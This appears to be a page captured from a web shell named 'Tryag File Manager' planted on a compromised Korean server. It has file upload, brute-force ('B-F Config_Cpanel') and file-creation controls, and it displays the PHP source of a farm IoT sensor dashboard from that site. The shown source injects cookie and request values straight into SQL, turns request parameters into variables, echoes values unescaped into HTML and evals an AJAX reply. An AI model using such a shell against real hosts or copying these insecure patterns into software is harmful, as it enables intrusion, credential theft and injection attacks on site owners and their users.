Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
ltman.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/ltman.eemo.co.kr/public_html/www/farm_iot_day_list.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $rs_my=RS("select * from member where no='{$_COOKIE[umem_no]}' "); if($rs_my[mtype]==1 || $rs_my[mtype]==2) { $rs_farm=RS("select * from farm where no='{$rs_my[farm_no]}' "); $farm_code=$rs_farm[farm_code]; } $rs_farm=RS("select * from farm where farm_code='$farm_code' "); $farm_no=$rs_farm[no]; include_once("navigation.php"); $result=mysql_query("select * from farm_dong_info where farm_no='$farm_no' order by CAST(dong_name AS DECIMAL(10,2)) asc ") or die(mysql_error()); $arr_dong=array(); while($rs=mysql_fetch_array($result)) { $obj=(object) $c; $obj->dong_name=$rs[dong_name]; $obj->dong_no=$rs[no]; array_push($arr_dong,$obj); } if(!$sel_dong_no) { $sel_dong_no=$arr_dong[0]->dong_no; } if(!$sel_mode) { $sel_mode=1; } $arr_chk=array(); $bl_chk=false; foreach($_GET as $ak => $av) { if($ak=="chk_all") { } else { if(strpos($ak,"chk_")!==false) { $chk_all==0; $bl_chk=true; $exp_chk=explode("_",$ak); $arr_chk[]="sensor_no=".$exp_chk[1]; } } } if($bl_chk==false) { $chk_all="a1"; } else { $chk_all="a0"; $str_sensor="( ".implode(" or ",$arr_chk)." )"; } $sub_query=''; $query="select * from iot_date where dong_no='$sel_dong_no' "; if($search) { $sub_query.=" and jdate='$search' "; } if($str_sensor) { $sub_query.=" and $str_sensor "; } if($sub_query) {$query.=$sub_query;} $query.=" order by no desc limit 0, 10 "; $result=mysql_query($query) or die(mysql_error()); //echo $query; ?> <!DOCTYPE html> <html lang="en" class="default-style layout-navbar-fixed layout-fixed-offcanvas"> <head> <title><?=$_TITLE?></title> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="IE=edge,chrome=1"> <meta name="description" content=""> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0"> <link rel="icon" type="image/x-icon" href="favicon.ico"> <link href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,500,500i,700,700i,900" rel="stylesheet"> <!-- Icon fonts --> <link rel="stylesheet" href="assets/vendor/fonts/fontawesome.css"> <link rel="stylesheet" href="assets/vendor/fonts/ionicons.css"> <link rel="stylesheet" href="assets/vendor/fonts/linearicons.css"> <link rel="stylesheet" href="assets/vendor/fonts/open-iconic.css"> <link rel="stylesheet" href="assets/vendor/fonts/pe-icon-7-stroke.css"> <!-- Core stylesheets --> <link rel="stylesheet" href="assets/vendor/css/rtl/bootstrap.css" class="theme-settings-bootstrap-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/appwork.css" class="theme-settings-appwork-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/theme-corporate.css" class="theme-settings-theme-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/colors.css" class="theme-settings-colors-css"> <link rel="stylesheet" href="assets/vendor/css/rtl/uikit.css"> <link rel="stylesheet" href="assets/css/demo.css"> <script src="assets/vendor/js/material-ripple.js"></script> <script src="assets/vendor/js/layout-helpers.js"></script> <link rel="stylesheet" href="assets/vendor/libs/bootstrap-select/bootstrap-select.css"> <link rel="stylesheet" href="assets/vendor/libs/bootstrap-multiselect/bootstrap-multiselect.css"> <link rel="stylesheet" href="assets/vendor/libs/select2/select2.css"> <!-- Core scripts --> <script src="assets/vendor/js/pace.js"></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <!-- Libs --> <link rel="stylesheet" href="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.css"> <link rel="stylesheet" href="assets/vendor/libs/bootstrap-datepicker/bootstrap-datepicker.css"> <link rel="stylesheet" href="assets/vendor/libs/c3/c3.css"> <link rel="stylesheet" href="assets/vendor/libs/ladda/ladda.css"> <script src="assets/jquery.number.js"></script> </head> <body> <div class="page-loader"> <div class="bg-primary"></div> </div> <!-- Layout wrapper --> <div class="layout-wrapper layout-2"> <div class="layout-inner"> <!-- Layout sidenav --> <?include_once("inc_sidenav.php");?> <!-- / Layout sidenav --> <!-- Layout container --> <div class="layout-container"> <!-- Layout navbar --> <?include_once("inc_navbar.php");?> <!-- / Layout navbar --> <!-- Layout content --> <div class="layout-content"> <!-- Content --> <div class="container-fluid flex-grow-1 container-p-y"> <h4 class="font-weight-bold py-1 mb-4"> <span class="text-muted font-weight-light"><a href='farm_home.php'>HOME</a> / <a href='farm_iot_menu.php'>IoT</a> /</span> 일간평균 </h4> <div id="sidenav-2" class="sidenav sidenav-horizontal bg-dark mb-4"> <ul class="sidenav-inner"> <? foreach($arr_dong as $ak => $av) {?> <li class="sidenav-item<?if($sel_dong_no==$av->dong_no) {?> active<?}?>"> <a href="farm_iot_list.php?sel_dong_no=<?=$av->dong_no?>&sel_mode=<?=$sel_mode?>" class="sidenav-link"> <i class="sidenav-icon ion ion-md-pie"></i> <div><?=$av->dong_name?></div> </a> </li> <?}?> </ul> </div> <ul id="gallery-filter" class="nav nav-tabs tabs-alt mb-4" > <li class="nav-item"> <a class="nav-link <?if($sel_mode==1) {?>active<?}?>" onclick="location.href='farm_iot_list.php?sel_dong_no=<?=$sel_dong_no?>&sel_mode=1'">개별데이터</a> </li> <li class="nav-item"> <a class="nav-link <?if($sel_mode==2) {?>active<?}?>" onclick="location.href='farm_iot_hour_list.php?sel_dong_no=<?=$sel_dong_no?>&sel_mode=2'">시간평균</a> </li> <li class="nav-item"> <a class="nav-link <?if($sel_mode==3) {?>active<?}?>" onclick="location.href='farm_iot_day_list.php?sel_dong_no=<?=$sel_dong_no?>&sel_mode=3'">일간평균</a> </li> </ul> <form name='frm_search' id='frm_search'> <h4 class="d-flex flex-wrap justify-content-between align-items-center w-100 font-weight-bold pt-2 mb-4"> <div class='d-flex justify-content-between' > <div class="col-12 col-md px-0 pb-2">Date Search</div> </div> <div class="col-12 col-md-3 px-0 pb-2"> <div class="input-group"> <input type="date" class="form-control" placeholder="날짜입력" id='search' name='search' value="<?=$search?>"> <span class="input-group-append"> <button class="btn btn-secondary" type="submit" >검색</button> </span> </div> </div> </h4> <div class="form-group form-check-inline"> <label class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" value='a1' <?if($chk_all=="a1") {?>checked<?}?> name='chk_all' id='chk_all'> <span class="custom-control-label">전체</span> </label> </div> <? $arr_sen=array(); $result_sen=mysql_query("select * from farm_sensor where dong_no='$sel_dong_no' order by pos_no asc ") or die(); while($rs_sen=mysql_fetch_array($result_sen)) { $arr_sen[]=$rs_sen[no]; ?> <div class="form-group form-check-inline" > <label class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" value='1' <?if(${"chk_".$rs_sen[no]}==1) {?>checked<?}?> name='chk_<?=$rs_sen[no]?>' id='chk_<?=$rs_sen[no]?>'> <span class="custom-control-label"><?=$rs_sen[pos_no]?></span> </label> </div> <? }?> <input type='hidden' name='sel_dong_no' value='<?=$sel_dong_no?>'> <input type='hidden' name='sel_mode' value='<?=$sel_mode?>'> </form> <div class="card mb-4"> <ul class="list-group list-group-flush" id='dv_list'> <? while($rs=mysql_fetch_array($result)) { $sens_name=$arr_sensor_type[$rs[sensor_type]]; $rs_sens=RS("select * from farm_sensor where no='{$rs[sensor_no]}' "); ?> <li class="list-group-item py-4 <?if($rs[is_alarm]) {?>bg-danger<?}?>" no='<?=$rs[no]?>'> <div class="media flex-wrap"> <div class="media-body ml-sm-4"> <h5 class="media align-items-center mb-2"> <a href="javascript:void(0)" class="media-body text-dark" style='font-size:14px'><b><?=$rs[jdate]?></b></a> <div class="text-primary small text-nowrap"><?=$rs_sens[pos_no]?></div> </h5> <div class="card-body pt-0" style='margin-top:20px;padding:0'> <div class="row"> <div class="col"> <div class="text-muted small">온도(도)</div> <div class="font-weight-bold"><?=sprintf("%.1f",$rs[temp])?></div> </div> <div class="col"> <div class="text-muted small">습도(%)</div> <div class="font-weight-bold"><?=sprintf("%.1f",$rs[humi])?></div> </div> <div class="col"> <div class="text-muted small">정전압</div> <div class="font-weight-bold"><?=sprintf("%.1f",$rs[anal])?></div> </div> <div class="col"> <div class="text-muted small">배터리</div> <div class="font-weight-bold"><?=number_format($rs[bat])?>%</div> </div> </div> </div> </div> </div> </li> <?}?> </ul> </div> <button type="button" class="btn btn-round btn-success btn-block mt-4" onclick="fn_plus()" style='margin-bottom:20px'>더보기 <i class="fas fa-plus m-r-10 fa-arrow-alt-circle-right"></i></button> <!-- / Form --> </div> <!-- / Content --> <div class="card-footer d-flex justify-content-between align-items-center bg-200 border-top-0"> <button class="btn btn-outline border-2" type="button" onclick="history.back()">← 뒤로</button> </div> <!-- Layout footer --> <?include_once("inc_footer.php");?> <!-- / Layout footer --> </div> <!-- Layout content --> </div> <!-- / Layout container --> </div> <!-- Overlay --> <div class="layout-overlay layout-sidenav-toggle"></div> </div> <!-- / Layout wrapper --> <!-- Core scripts --> <script src="assets/vendor/libs/popper/popper.js"></script> <script src="assets/vendor/js/bootstrap.js"></script> <script src="assets/vendor/js/sidenav.js"></script> <!-- Libs --> <script src="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script> <!-- Demo --> <script src="assets/js/demo.js"></script> <!-- Libs --> <script src="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script> <script src="assets/vendor/libs/bootstrap-select/bootstrap-select.js"></script> <script src="assets/vendor/libs/bootstrap-multiselect/bootstrap-multiselect.js"></script> <script src="assets/vendor/libs/select2/select2.js"></script> <script src="assets/vendor/libs/bootstrap-tagsinput/bootstrap-tagsinput.js"></script> <!-- Demo --> <script src="assets/js/forms_selects.js"></script> <script src="assets/vendor/libs/bootbox/bootbox.js"></script> <script src="assets/vendor/libs/d3/d3.js"></script> <script src="assets/vendor/libs/c3/c3.js"></script> <!-- Libs --> <script src="assets/vendor/libs/perfect-scrollbar/perfect-scrollbar.js"></script> <script src="assets/vendor/js/sidenav.js"></script> <script src="assets/vendor/libs/blueimp-gallery/gallery.js"></script> <script src="assets/vendor/libs/blueimp-gallery/gallery-fullscreen.js"></script> <script src="assets/vendor/libs/blueimp-gallery/gallery-indicator.js"></script> <script src="assets/vendor/libs/masonry/masonry.js"></script> <script src="assets/js/pages_gallery.js"></script> <!-- Demo --> <script src="assets/js/ui_sidenav.js"></script> <script src="assets/vendor/libs/spin/spin.js"></script> <script src="assets/vendor/libs/ladda/ladda.js"></script> <script src="assets/js/misc_ladda.js"></script> </body> </html> <script> $('#chk_all').change(function() { //alert($(this).prop('checked')) document.frm_search.submit(); }); <? foreach($arr_sen as $ak => $av) { ?> $('#chk_<?=$av?>').change(function() { //alert($(this).prop('checked')) document.frm_search.submit(); }); <?}?> function fn_plus() { var cc=$('#frm_search').serialize() ; //var par='last_id='+$('.list-group-item:last').attr("no")+'&search='+$('#search').val()+'&dong_no=<?=$sel_dong_no?>'; var par=cc+'&last_id='+$('.list-group-item:last').attr("no"); jQuery.ajax({ url: "farm_iot_list_day_append_do.php", type: "POST", data: par, processData: false, contentType: 'application/x-www-form-urlencoded; charset=UTF-8', success: function (res) { //var json = jQuery.parseJSON(res); var json = eval("(" + res + ")"); var content=""; if(parseInt(json.data.length)==0) { bootbox.alert("더이상 데이터가 없습니다."); } for(var i=0; i<json.data.length; i++){ if(json.data[i].alarm=='1') { content += '<li class="list-group-item py-4 bg-danger" no="'+json.data[i].no+'">'; } else { content += '<li class="list-group-item py-4" no="'+json.data[i].no+'">'; } content += '<div class="media flex-wrap">'+ '<div class="media-body ml-sm-4">'+ '<h5 class="media align-items-center mb-2">'+ '<a href="javascript:void(0)" class="media-body text-dark" style="font-size:14px"><b>'+json.data[i].jdate+'</b></a> '+ '<div class="text-primary small text-nowrap">'+json.data[i].pos_no+'</div>'+ '</h5>'+ '<div class="card-body pt-0" style="margin-top:20px;padding:0">'+ '<div class="row">'+ '<div class="col">'+ '<div class="text-muted small">온도(도)</div>'+ '<div class="font-weight-bold">'+json.data[i].v1+'</div>'+ '</div>'+ '<div class="col">'+ '<div class="text-muted small">습도(%)</div>'+ '<div class="font-weight-bold">'+json.data[i].v2+'</div>'+ '</div>'+ '<div class="col">'+ '<div class="text-muted small">정전압</div>'+ '<div class="font-weight-bold">'+json.data[i].v3+'</div>'+ '</div>'+ '<div class="col">'+ '<div class="text-muted small">배터리</div>'+ '<div class="font-weight-bold">'+json.data[i].v4+'%</div>'+ '</div>'+ '</div>'+ '</div>'+ '</div>'+ '</div>'+ '</li>'; } $(content).appendTo("#dv_list"); } }); } </script>